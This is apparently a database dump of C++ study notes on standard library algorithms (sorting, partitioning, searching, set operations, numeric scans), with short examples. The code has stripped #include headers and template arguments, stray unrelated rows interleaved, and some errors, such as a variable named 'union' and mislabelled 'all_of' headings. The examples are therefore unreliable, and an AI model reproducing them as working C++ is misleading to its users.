C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:54.248743 -1534 347 #include \n#include \n#include text txt 2024-07-28 09:59:54.269042 -1535 347 int main()\n{\n std::vector numbers{1,2,3,6,5,4};\n auto iter = std::ranges::is_sorted_until(numbers);\n // *iter = 6\n} code txt 2024-07-28 09:59:54.29028 -1536 348 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:54.990225 -1537 348 The `std::partial_sort` algorithm reorders the range’s elements such that the leading sub-range is in the same order it would when fully sorted.\nHowever, the algorithm leaves the rest of the range in an unspecified order. text txt 2024-07-28 09:59:55.011084 -1538 348 #include \n#include \n#include text txt 2024-07-28 09:59:55.032429 -1539 348 int main()\n{\n std::vector data{9, 8, 7, 6, 5, 4, 3, 2, 1}; text txt 2024-07-28 09:59:55.052628 -1540 348 std::partial_sort(data.begin(), data.begin()+3, data.end());\n // data == {1, 2, 3, -unspecified order-} text txt 2024-07-28 09:59:55.072858 -1541 348 std::ranges::partial_sort(data, data.begin()+3, std::greater<>());\n // data == {9, 8, 7, -unspecified order-}\n} code txt 2024-07-28 09:59:55.093296 -1542 348 The benefit of using a partial sort is faster runtime — approximately `O(N log K)`, where `K` is the number of elements sorted. text txt 2024-07-28 09:59:55.113978 -1543 349 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:55.825832 -1544 349 The `std::partial_sort_copy` algorithm has the same behaviour as `std::partial_sort`; however, it does not operate inline.\nInstead, the algorithm writes the results to a second range. text txt 2024-07-28 09:59:55.846311 -1545 349 #include \n#include \n#include text txt 2024-07-28 09:59:55.867112 -1546 349 int main()\n{\n std::vector top(3); text txt 2024-07-28 09:59:55.887855 -1547 349 // input == "0 1 2 3 4 5 6 7 8 9"\n auto input = std::istream_iterator(std::cin);\n auto cnt = std::counted_iterator(input, 10); text txt 2024-07-28 09:59:55.908433 -1548 349 std::ranges::partial_sort_copy(cnt, std::default_sentinel, top.begin(), top.end(), std::greater<>{});\n // top == { 9, 8, 7 }\n} code txt 2024-07-28 09:59:55.929726 -1549 350 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:56.748001 -1550 350 The `std::partition` algorithm provides the basic partitioning functionality, reordering elements based on a unary predicate.\nThe algorithm returns the partition point, an iterator to the first element for which the predicate returned `false`. text txt 2024-07-28 09:59:56.769107 -1551 350 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:59:56.789722 -1552 350 struct ExamResult\n{\n std::string student_name;\n int score;\n}; text txt 2024-07-28 09:59:56.81159 -1553 350 int main()\n{\n std::vector results{{"Jane Doe", 84}, {"John Doe", 78}, {"Liz Clarkson", 68}, {"David Teneth", 92}}; text txt 2024-07-28 09:59:56.833093 -1554 350 auto partition_point = std::partition(results.begin(), results.end(), [threshold = 80](auto const& e) { return e.score >= threshold; }); text txt 2024-07-28 09:59:56.853197 -1555 350 std::for_each(results.begin(), partition_point, [](auto const& e) { std::cout << "[PASSED] " << e.student_name << "\\\\n"; });\n std::for_each(partition_point, results.end(), [](auto const& e) { std::cout << "[FAILED] " << e.student_name << "\\\\n"; });\n} code txt 2024-07-28 09:59:56.87444 -1556 351 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 09:59:57.364589 -1557 351 The `std::partition` algorithm is permitted to rearrange the elements with the only guarantee that elements for which the predicate evaluated to true will precede elements for which the predicate evaluated to false.\nThis behaviour can be undesirable, for example, for UI elements. text txt 2024-07-28 09:59:57.385034 -1558 351 The `std::stable_partition` algorithm adds the guarantee of preserving the relative order of elements in both partitions. text txt 2024-07-28 09:59:57.405462 -1559 351 auto& widget = get_widget();\nstd::ranges::stable_partition(widget.items, &Item::is_selected); code txt 2024-07-28 09:59:57.426325 -1560 352 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:57.98109 -1561 352 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:58.001804 -1562 352 int main()\n{\n std::vector series{2, 4, 6, 7, 9, 11};\n auto is_even = [](auto v) { return v % 2 == 0; };\n bool test = std::ranges::is_partitioned(series, is_even);\n assert(test); // test = true\n} code txt 2024-07-28 09:59:58.023861 -1563 353 | feature | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:58.720351 -1564 353 The `std::partition_copy` is a variant of `std::partition` that, instead of reordering elements, will output the partitioned elements to the two output ranges denoted by two iterators. text txt 2024-07-28 09:59:58.741308 -1565 353 #include \n#include \n#include \n#include text txt 2024-07-28 09:59:58.76125 -1566 353 int main()\n{\n std::vector series{2, 4, 6, 7, 9, 11};\n auto is_even = [](auto v) { return v % 2 == 0; }; text txt 2024-07-28 09:59:58.781768 -1567 353 std::vector evens, odds;\n std::ranges::partition_copy(series, std::back_inserter(evens), std::back_inserter(odds), is_even); text txt 2024-07-28 09:59:58.802314 -1568 353 assert(evens.size() == 3);\n assert(odds.size() == 3);\n} code txt 2024-07-28 09:59:58.822777 -1569 354 | feature | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:59:59.533331 -1570 354 The `std::nth_element` algorithm is a partitioning algorithm that ensures that the element in the nth position is the element that would be in this position if the range was sorted. text txt 2024-07-28 09:59:59.554684 -1571 354 #include \n#include \n#include text txt 2024-07-28 09:59:59.575881 -2403 552 template\nclass Stack; text txt 2024-07-28 10:02:13.571001 -1572 354 int main()\n{\n std::vector series1{6, 3, 5, 1, 2, 4};\n std::vector series2{series1}; text txt 2024-07-28 09:59:59.597925 -1573 354 std::nth_element(series1.begin(), std::next(series1.begin(), 2), series1.end());\n // 1 2 3 5 6 4 text txt 2024-07-28 09:59:59.618599 -1574 354 std::nth_element(series2.begin(), std::next(series2.begin(), 2), series2.end(), std::greater{});\n // 5 6 4 3 2 1\n} code txt 2024-07-28 09:59:59.638919 -1575 354 Because of its selection/partitioning nature, `std::nth_element` offers a better theoretical complexity than `std::partial_sort` - `O(n)` vs `O(n ∗ logk)`.\nHowever, note that the standard only mandates average `O(n)` complexity, and `std::nth_element` implementations can have high overhead, so always test to determine which provides better performance for your use case. text txt 2024-07-28 09:59:59.66111 -1576 355 | `std::lower_bound` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:01.080343 -1577 355 | `std::upper_bound` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:01.101529 -1578 355 The two algorithms differ in which bound they return: text txt 2024-07-28 10:00:01.123432 -1579 355 * The `std::lower_bound` returns the first element for which `element < value` returns `false`.\n* The `std::upper_bound` returns the first element for which `value < element`.\n* If no such element exists, both algorithms return the end iterator. text txt 2024-07-28 10:00:01.145088 -1580 355 #include \n#include \n#include text txt 2024-07-28 10:00:01.166627 -1581 355 struct ExamResult\n{\n std::string student_name;\n int score;\n}; text txt 2024-07-28 10:00:01.18795 -1582 355 int main()\n{\n std::vector results{{"Jane", 65}, {"Maria", 80}, {"Liz", 70}, {"David", 90}, {"Paula", 70}};\n std::ranges::sort(results, std::less{}, &ExamResult::score); text txt 2024-07-28 10:00:01.209114 -1583 355 auto lower = std::ranges::lower_bound(results, 70, {}, &ExamResult::score);\n // lower.score == 70\n auto upper = std::ranges::upper_bound(results, 70, {}, &ExamResult::score);\n // upper.score == 80\n} code txt 2024-07-28 10:00:01.230706 -1584 355 While both algorithms will operate on any `forward_range`, the logarithmic divide and conquer behavior is only available for `random_access_range`. text txt 2024-07-28 10:00:01.250684 -1585 355 Data structures like `std::set`, `std::multiset`, `std::map`, `std::multimap` offer their `O(log N)` implementations of lower and upper bound as methods. text txt 2024-07-28 10:00:01.272389 -1586 355 #include \n#include text txt 2024-07-28 10:00:01.292893 -1587 355 int main()\n{\n std::multiset data{1,2,3,4,5,6,6,6,7,8,9}; text txt 2024-07-28 10:00:01.313681 -1588 355 auto lower = data.lower_bound(6);\n // std::distance(data.begin(), lower) == 5 text txt 2024-07-28 10:00:01.333694 -1589 355 auto upper = data.upper_bound(6);\n // std::distance(data.begin(), upper) == 8\n} code txt 2024-07-28 10:00:01.354447 -1590 356 | `std::equal_range` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:01.922859 -1591 356 #include \n#include text txt 2024-07-28 10:00:01.943302 -1592 356 int main()\n{\n std::vector data{1,2,3,4,5,6,6,6,7,8,9}; text txt 2024-07-28 10:00:01.964237 -1593 356 auto [lower, upper] = std::equal_range(data.begin(), data.end(), 6);\n // std::distance(data.begin(), lower) == 5\n // std::distance(data.begin(), upper) == 8\n} code txt 2024-07-28 10:00:01.985111 -1594 357 | `std::partition_point` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:02.534797 -1595 357 Despite the naming, `std::partition_point` works very similaryly to `std::upper_bound`, however instead of searching for a particular value, it searches using a predicate. text txt 2024-07-28 10:00:02.555253 -1596 357 #include \n#include text txt 2024-07-28 10:00:02.576703 -1597 357 int main()\n{\n std::vector data{1,2,3,4,5,6,6,6,7,8,9};\n auto point = std::partition_point(data.begin(), data.end(), [](long v) { return v < 6; });\n // std::distance(data.begin(), point) = 5\n} code txt 2024-07-28 10:00:02.597623 -1598 358 | `std::binary_search` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:03.252649 -1599 358 This function checks whether the requested value is present in the sorted range or not. text txt 2024-07-28 10:00:03.272886 -1600 358 #include \n#include \n#include text txt 2024-07-28 10:00:03.294354 -1601 358 int main()\n{\n std::vector data{1,2,3,4,5,6};\n std::binary_search(data.begin(), data.end(), 4);\n // true\n std::ranges::binary_search(data, 4);\n // true\n} code txt 2024-07-28 10:00:03.315904 -1602 358 `std::binary_search` is equivalent to calling `std::equal_range` and checking whether the returned is non-empty; however, `std::binary_search` offers a single lookup performance, where `std::equal_range` does two lookups to determine the lower and upper bounds. text txt 2024-07-28 10:00:03.337138 -1603 359 | `std::includes` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:03.855283 -1604 359 #include \n#include \n#include text txt 2024-07-28 10:00:03.87587 -1605 359 int main()\n{\n std::ranges::includes({1,2,3,4,5}, {3,4});\n // true\n} code txt 2024-07-28 10:00:03.896533 -1606 360 | `std::merge` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:04.694278 -1607 360 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 10:00:04.715084 -1608 360 int main()\n{\n std::map data1{{1, "first"}, {2, "first"}, {3, "first"}};\n std::map data2{{0, "second"}, {2, "second"}, {4, "second"}};\n std::vector> result1, result2;\n auto compare = [](auto const& left, auto const& right) { return left.first < right.first; }; text txt 2024-07-28 10:00:04.735771 -1609 360 std::ranges::merge(data1, data2, std::back_inserter(result1), compare);\n std::ranges::for_each(result1, [](auto const& p) { std::cout << "{" << p.first << ", " << p.second << "} "; });\n std::cout << "\\\\n"; text txt 2024-07-28 10:00:04.756341 -1610 360 std::merge(std::execution::par_unseq, data1.begin(), data1.end(), data2.begin(), data2.end(), std::back_inserter(result2), compare);\n std::ranges::for_each(result2, [](auto const& p) { std::cout << "{" << p.first << ", " << p.second << "} "; });\n std::cout << "\\\\n";\n} code txt 2024-07-28 10:00:04.777928 -1611 361 | `std::inplace_merge` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:05.272163 -1612 361 #include \n#include text txt 2024-07-28 10:00:05.29364 -1997 465 function(static_cast(object) code txt 2024-07-28 10:01:14.256745 -3615 855 code txt 2024-07-28 10:05:15.175076 -1613 361 int main()\n{\n std::vector range{1,3,5,2,4,6};\n std::inplace_merge(range.begin(), range.begin()+3, range.end());\n // range == {1,2,3,4,5,6}\n} code txt 2024-07-28 10:00:05.314568 -1614 362 | `std::unique` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:06.136037 -1615 362 | `std::unique_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:06.157292 -1616 362 #include \n#include \n#include text txt 2024-07-28 10:00:06.177827 -1617 362 int main()\n{\n std::vector range1{1,2,2,3,3,3,4,4,4,4,5,5,5,5,5};\n std::vector range2{range1}; text txt 2024-07-28 10:00:06.197264 -1618 362 auto last = std::unique(range1.begin(), range1.end());\n range1.resize(std::distance(range1.begin(), last));\n // range1 == {1,2,3,4,5}; text txt 2024-07-28 10:00:06.217751 -1619 362 std::vector result;\n std::ranges::unique_copy(range2, std::back_inserter(result));\n // range2 is untouched\n // result == {1,2,3,4,5};\n} code txt 2024-07-28 10:00:06.238749 -1620 363 | `std::set_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:06.800203 -1621 363 #include \n#include text txt 2024-07-28 10:00:06.821592 -1622 363 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector difference;\n std::ranges::set_difference(data1, data2, std::back_inserter(difference));\n // difference == {1,9};\n} code txt 2024-07-28 10:00:06.843767 -1623 364 | `std::set_symmetric_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:07.400163 -1624 364 #include \n#include text txt 2024-07-28 10:00:07.419674 -1625 364 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector symmetric_difference;\n std::ranges::set_symmetric_difference(data1, data2, std::back_inserter(symmetric_difference));\n // symmetric_difference == {1,4,6,9};\n} code txt 2024-07-28 10:00:07.441238 -1626 365 | `std::set_union` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:08.010115 -1627 365 #include \n#include text txt 2024-07-28 10:00:08.031409 -1628 365 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector union;\n std::ranges::set_union(data1, data2, std::back_inserter(union));\n // union == {1,3,4,5,6,7,9}\n} code txt 2024-07-28 10:00:08.05293 -1629 366 | `std::set_intersection` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:08.625306 -1630 366 #include \n#include text txt 2024-07-28 10:00:08.644888 -1631 366 int main()\n{\n std::vector data1{1,3,5,7,9};\n std::vector data2{3,4,5,6,7};\n std::vector intersection;\n std::ranges::set_intersection(data1, data2, std::back_inserter(intersection));\n // intersection == {3,5,7}\n} code txt 2024-07-28 10:00:08.665258 -1632 367 | `std::transform` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:09.390305 -1633 367 #include \n#include text txt 2024-07-28 10:00:09.411221 -1634 367 int main()\n{\n std::vector range{1,1,1,1,1}; text txt 2024-07-28 10:00:09.431644 -1635 367 // unary version\n std::transform(range.begin(), range.end(), range.begin(), [](long e) { return e + 1; });\n // {2,2,2,2,2}\n std::transform(range.begin(), range.end(), range.begin(), range.begin(), [](long left, long right) { return left + right; });\n // {4,4,4,4,4} text txt 2024-07-28 10:00:09.453033 -1636 367 // binary version\n std::ranges::transform(range, range.begin(), [](long e) { return e / e; });\n // {1,1,1,1,1}\n std::ranges::transform(range, range, range.begin(), [](long left, long right) { return left + right; });\n // {2,2,2,2,2}\n} code txt 2024-07-28 10:00:09.473801 -1637 368 | `std::remove` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:09.999021 -1638 368 #include \n#include text txt 2024-07-28 10:00:10.019599 -1639 368 int main()\n{\n std::vector range{1,2,3,4,5};\n auto last = std::remove(range.begin(), range.end(), 3);\n range.erase(last, range.end());\n} code txt 2024-07-28 10:00:10.040533 -1640 369 | `std::remove_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:10.589465 -1641 369 #include \n#include text txt 2024-07-28 10:00:10.610141 -1642 369 int main()\n{\n std::vector range{1,2,3,4,5};\n auto last = std::remove_if(range.begin(), range.end(), [limit=4](long v) { return v > limit; });\n range.erase(last, range.end());\n} code txt 2024-07-28 10:00:10.630715 -1643 370 | `std::replace` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:11.176005 -1644 370 #include \n#include text txt 2024-07-28 10:00:11.197611 -1645 370 int main()\n{\n std::vector range{1,2,1,2,1};\n std::ranges::replace(range, 2, 0);\n // {1,0,1,0,1}\n} code txt 2024-07-28 10:00:11.218291 -1646 371 | `std::replace_if` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:11.755233 -1647 371 #include \n#include text txt 2024-07-28 10:00:11.776801 -1648 371 int main()\n{\n std::vector range{1,2,1,2,1};\n std::ranges::replace_if(range, [](long v) { return v > 1; }, 0);\n // {1,0,1,0,1}\n} code txt 2024-07-28 10:00:11.798208 -1649 372 | `std::reverse` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:12.336444 -1650 372 #include \n#include text txt 2024-07-28 10:00:12.356746 -1651 372 int main()\n{\n std::vector range{1,2,3,4,5};\n std::ranges::reverse(range);\n // {5,4,3,2,1}\n} code txt 2024-07-28 10:00:12.377057 -1652 373 | `std::rotate` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:12.995184 -1653 373 #include \n#include \n#include text txt 2024-07-28 10:00:13.015282 -1654 373 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 10:00:13.035539 -1655 373 std::rotate(range.begin(), std::next(range.begin(), 3), range.end());\n // {4,5,1,2,3} text txt 2024-07-28 10:00:13.057001 -1656 373 std::ranges::rotate(range, std::next(range.begin(), 2));\n // {1,2,3,4,5}\n} code txt 2024-07-28 10:00:13.078133 -1657 374 | `std::shift_left` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | C++20 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:13.8283 -2404 552 template\nclass Stack; text txt 2024-07-28 10:02:13.591926 -1658 374 | `std::shift_right` | standard |\n| --- | --- |\n| introduced | C++20 |\n| paralllel | C++20 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:13.849121 -1659 374 #include \n#include text txt 2024-07-28 10:00:13.868793 -1660 374 int main()\n{\n std::vector range{1,2,3,4,5}; text txt 2024-07-28 10:00:13.890418 -1661 374 std::shift_left(range.begin(), range.end(), 3);\n // {4,5,N,N,N} text txt 2024-07-28 10:00:13.910912 -1662 374 std::shift_right(range.begin(), range.end(), 3);\n // {N,N,N,4,5}\n} code txt 2024-07-28 10:00:13.932444 -1663 375 | `std::shuffle` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | N/A |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 10:00:14.519129 -1664 375 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:14.539674 -1665 375 int main()\n{\n std::vector range{1,2,3,4,5};\n std::random_device rd{};\n std::mt19937 generator{rd()};\n std::ranges::shuffle(range, generator);\n} code txt 2024-07-28 10:00:14.559971 -1666 376 | `std::next_permutation` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:15.181148 -1667 376 #include \n#include \n#include text txt 2024-07-28 10:00:15.201915 -1668 376 int main()\n{\n std::vector range{1,2,3};\n // range == {1,2,3};\n std::next_permutation(range.begin(), range.end());\n // range == {1,3,2};\n std::prev_permutation(range.begin(), range.end());\n // range == {1,2,3};\n} code txt 2024-07-28 10:00:15.224018 -1669 377 | `std::is_permutation` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:15.760102 -1670 377 #include \n#include \n#include text txt 2024-07-28 10:00:15.781326 -1671 377 int main()\n{\n std::vector range1{1,2,3}, range2{1,3,2};\n std::ranges::is_permutation(range1, range2);\n // true\n} code txt 2024-07-28 10:00:15.80302 -1672 378 | `std::accumulate` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:16.428256 -1673 378 #include \n#include text txt 2024-07-28 10:00:16.44945 -1674 378 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:16.469584 -1675 378 auto sum = std::accumulate(range.begin(), range.end(), 0);\n // sum == 6 text txt 2024-07-28 10:00:16.491023 -1676 378 auto product = std::accumulate(range.begin(), range.end(), 1, std::multiplies{});\n // product == 6\n} code txt 2024-07-28 10:00:16.511329 -1677 379 | `std::inner_product` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:17.198419 -1678 379 #include \n#include \n#include text txt 2024-07-28 10:00:17.21892 -1679 379 int main()\n{\n std::vector widths{1,1,1,1,1};\n std::vector heights{2,2,2,2,2}; text txt 2024-07-28 10:00:17.239993 -1680 379 auto sum_area = std::inner_product(widths.begin(), widths.end(), heights.begin(), 0);\n // sum_area == 10 text txt 2024-07-28 10:00:17.260792 -1681 379 std::vector range{6,4,3,7,2,1};\n auto sum_diffs = std::inner_product(range.begin(), range.end(), std::next(range.begin()), 0, std::plus{}, [](long l, long r) { return std::abs(l-r); });\n // sum_diffs == 14\n} code txt 2024-07-28 10:00:17.281642 -1682 380 | `std::partial_sum` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:17.909974 -1683 380 #include \n#include \n#include text txt 2024-07-28 10:00:17.930707 -1684 380 int main()\n{\n std::vector range(5,1);\n std::partial_sum(range.begin(), range.end(), range.begin());\n // range == {1,2,3,4,5} text txt 2024-07-28 10:00:17.950946 -1685 380 std::vector output;\n std::partial_sum(range.begin(), range.end(), std::back_inserter(output), std::multiplies{});\n // output == {1,2,6,24,,120}\n} code txt 2024-07-28 10:00:17.971853 -1686 381 | `std::adjacent_difference` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:18.681796 -1687 381 #include \n#include \n#include \n#include text txt 2024-07-28 10:00:18.703413 -1688 381 int main()\n{\n std::vector range{1,2,3,4,5};\n std::adjacent_difference(range.begin(), range.end(), range.begin());\n // range == {1,1,1,1,1} text txt 2024-07-28 10:00:18.724712 -1689 381 std::adjacent_difference(std::execution::par_unseq, range.begin(), range.end(), range.begin());\n // range == {1,1,1,1,1} text txt 2024-07-28 10:00:18.74595 -1690 381 std::vector fibonacci(10,1);\n std::adjacent_difference(fibonacci.begin(), std::prev(fibonacci.end()), std::next(fibonacci.begin()), std::plus());\n // fibonacci == {1,1,2,3,5,8,13,21,34,55}\n} code txt 2024-07-28 10:00:18.767204 -1691 382 | `std::reduce` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:19.375617 -1692 382 #include \n#include \n#include text txt 2024-07-28 10:00:19.39555 -1693 382 int main()\n{\n std::vector range{1,2,3,4,5};\n long sum = std::reduce(range.begin(), range.end(), 0);\n // sum == 15 text txt 2024-07-28 10:00:19.417273 -1694 382 long multiplies = std::reduce(range.begin(), range.end(), 1, std::multiplies{});\n // sum == 120\n} code txt 2024-07-28 10:00:19.43981 -1695 383 | `std::transform_reduce` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:19.950778 -1696 383 #include \n#include \n#include text txt 2024-07-28 10:00:19.972586 -1697 383 int main()\n{\n std::vector range{1,2,3,4,5};\n long sum = std::transform_reduce(range.begin(), range.end(), 0, std::plus{}, [](long e) { return e * 2; });\n // sum == 30\n} code txt 2024-07-28 10:00:19.994402 -1698 384 | `std::inclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:20.779794 -1699 384 | `std::exclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:20.800813 -1700 384 #include \n#include \n#include text txt 2024-07-28 10:00:20.822641 -1701 384 int main()\n{\n std::vector range{1,2,3,4,5};\n std::vector inclusive;\n std::inclusive_scan(range.begin(), range.end(), std::back_inserter(inclusive));\n // range == {1 3 6 10 15} text txt 2024-07-28 10:00:20.844166 -1702 384 std::vector exclusive;\n std::exclusive_scan(range.begin(), range.end(), std::back_inserter(exclusive), 0);\n // range == {0 1 3 6 10}\n} code txt 2024-07-28 10:00:20.864794 -1703 385 | `std::transform_inclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:21.600881 -3045 721 std::size_t size() const { return S; }\n}; text txt 2024-07-28 10:03:53.903695 -1704 385 | `std::transform_exclusive_scan` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | N/A | text txt 2024-07-28 10:00:21.621807 -1705 385 #include \n#include \n#include text txt 2024-07-28 10:00:21.642062 -1706 385 int main()\n{\n std::vector range{1,2,3,4,5};\n std::vector inclusive;\n std::transform_inclusive_scan(range.begin(), range.end(), std::back_inserter(inclusive), std::plus<>{});\n std::transform_inclusive_scan(range.begin(), range.end(), std::back_inserter(inclusive), std::plus<>{}, [](long v) { return std::abs(v); }); text txt 2024-07-28 10:00:21.663331 -1707 385 std::vector exclusive;\n std::transform_exclusive_scan(range.begin(), range.end(), std::back_inserter(exclusive), 0);\n std::transform_exclusive_scan(range.begin(), range.end(), std::back_inserter(exclusive), 0, std::plus<>{}, [](long v) { return std::abs(v); });\n} code txt 2024-07-28 10:00:21.685047 -1708 386 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:22.246309 -1709 386 #include \n#include text txt 2024-07-28 10:00:22.266118 -1710 386 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:22.287561 -1711 386 std::ranges::all_of(range, [](long e) { return e > 0; });\n // all numbers are possitive: true\n} code txt 2024-07-28 10:00:22.308213 -1712 387 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:22.830523 -1713 387 #include \n#include text txt 2024-07-28 10:00:22.851682 -1714 387 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:22.872723 -1715 387 std::ranges::any_of(range, [](long e) { return e % 2 == 0; });\n // at least an even number exists: true\n} code txt 2024-07-28 10:00:22.893722 -1716 388 | `std::all_of` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:23.423429 -1717 388 #include \n#include text txt 2024-07-28 10:00:23.443665 -1718 388 int main()\n{\n std::vector range{1,2,3}; text txt 2024-07-28 10:00:23.465232 -1719 388 std::ranges::none_of(range, [](long e) { return e < 0; });\n // not any number is negative: true\n} code txt 2024-07-28 10:00:23.48643 -1720 389 | `std::fill` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 10:00:24.041653 -1721 389 #include \n#include \n#include text txt 2024-07-28 10:00:24.062935 -1722 389 int main()\n{\n std::vector range(5,0);\n 